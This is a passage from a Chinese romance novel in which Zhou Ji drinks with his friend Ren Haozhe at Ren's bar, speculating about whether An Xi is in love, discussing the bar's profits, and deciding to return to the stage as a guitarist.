然而他仔仔细细地反省过近期和安禧的几次见面,却并未觉得自己有过什么不妥。况且按照他对安禧的了解,真要受了气,必然是当场就发作,怎么可能窝窝囊囊地忍到半夜,才隔着网线阴阳两句。 直到傍晚,他和任皓哲在Sunset酒吧碰了面,再度说起此事。 “安禧会不会谈恋爱了?”任皓哲推给周稷一杯加冰的威士忌,“陷入爱情的女孩,情绪是挺容易坐过山车的,尤其不小心碰上渣男的时候。” 周稷的眼神一顿。 “……没听她说过。” 任皓哲嗤笑:“亏你还是哥哥,也太不关心人家了。” 冰凉的酒液入喉,莫名有些酸涩,像来自于味觉的一个谬误。 周稷放下杯子,眉心淡淡蹙起:“换杯度数低的吧。太久没喝,有点不习惯。” “啧,你可真麻烦。” 任皓哲嘴上说着嫌弃的话,却还是任劳任怨地走进吧台,上手帮他调了杯自由古巴。 下午五六点的酒吧,尚未开始对外营业,只有零星几个来得早的调酒师和应侍生,在店内做准备工作。 任皓哲切着柠檬,一边抬眼问:“最近忙什么呢?有阵子没见你过来了。” 周稷淡声:“还能忙什么,当然是工作。” “没别的?” “当然没有。” 自由古巴的调制很简单,白朗姆、柠檬汁,还有可乐,连同满杯冰块加在一起,即是一杯风味爽口的鸡尾酒。 周稷接过任皓哲递来的酒杯,说了声谢。 吧台边上,只他们二人。任皓哲顺手给自己倒了杯黑啤,闲闲倚着吧台:“告诉你个好消息。我在社交媒体上投的广告效果不错,近两个月的营业额,有这个数。” 他神色得意地伸手比了个数字。 周稷稍稍惊讶:“真的?” “这还能有假。”任皓哲和他碰了碰杯,“怎么样,没辜负你这位股东的期望吧?” 当初他开店创业,预算不够充足的时候,是周稷及时投钱进来,缓解了他的燃眉之急。真要算起来,在所有的启动资金里,大概有三分之一的份额,都是周稷的。 “嗯,那我就继续期待年底的分红了。” 任皓哲笑着说:“你少来。和你的正经收入比起来,我这才哪到哪啊。” 这话并非吹捧。作为衡泰晋升最快的律师之一,周稷的年收入在同龄人里早已处于领先水平,还有周睿诚留下来的大笔遗产,经由安雨萍请专人打理,这些年下来,净值不知道翻了多少番。 时间在交谈中过得飞快。 不知不觉,已快到了开业的时间点,演出乐队调试好设备,开始进行最后的排练。 “你这么久没上场,后台时不时就有粉丝来问,”任皓哲和周稷打趣,“打算什么时候重出江湖?” 周稷摇头婉拒:“最近太忙了,实在抽不出时间。” 听他如此,任皓哲也不强求,只是耸肩表示遗憾。 不过待音乐一起,气氛的感染却不由得自控。 趁着正式开门营业前的最后几分钟,周稷上手弹了段间奏。 电吉他的音色十分霸道,只要拨弦奏响,便能轻而易举地成为全场主角。 这样的乐器,和周稷的性格相比,无疑是背道而驰的。可他却深深着迷其中。 铮铮弦声里,周稷忽而改变了主意。 “让我练两个星期。”他说,“两星期后的演出,我会参加。”